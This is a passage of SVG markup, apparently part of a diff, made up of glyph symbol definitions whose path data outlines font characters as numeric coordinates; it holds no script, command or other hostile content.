L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
